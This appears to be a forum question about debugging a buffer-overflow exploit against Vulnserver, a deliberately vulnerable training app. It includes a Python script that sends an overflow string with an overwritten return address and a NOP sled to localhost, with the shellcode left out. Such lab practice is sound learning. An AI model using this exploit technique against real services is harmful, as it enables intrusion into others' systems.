title: Vulnserver - Buffer overflow NOP characters aren't being passed in properly
body: <p>I'm currently working on a buffer overflow test on the <a href="http://www.thegreycorner.com/2010/12/introducing-vulnserver.html" rel="nofollow noreferrer">vulnserver</a> app. Overflowing the buffer with hex values of A seemed to be passed into the program without an issue. The EIP was overwritten without an issue as well. However when I begin the NOP sled, after each NOP value a C2 hex value is passed in after. Not sure why this is happening. I have the hex dump to show you exactly what I mean:</p>
  
  <p><a href="https://i.stack.imgur.com/a8c76.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/a8c76.png" alt="enter image description here"></a></p>
  
  <p>Here is the python script I'm using to create the overflow:</p>
  
  <p><div class="snippet" data-lang="js" data-hide="false" data-console="false" data-babel="false">
  <div class="snippet-code">
  <pre class="snippet-code-html lang-html prettyprint-override"><code>import socket
  
  s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  
  s.connect(("127.0.0.1",9999))
  buff = '\x41' * 2006
  shellcode = ...
  nop = '\x90' * 16
  
  #shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly.
  overflow = 'TRUN .' + buff + '\x05\x12\x50\x62' + nop
  s.send(overflow.encode())</code></pre>
  </div>
  </div>
  </p>
  
  <p>I'm wondering if the error is occurring when python is encoding/sending the packets or if its occurring simply due to the way vulnserver was written.</p>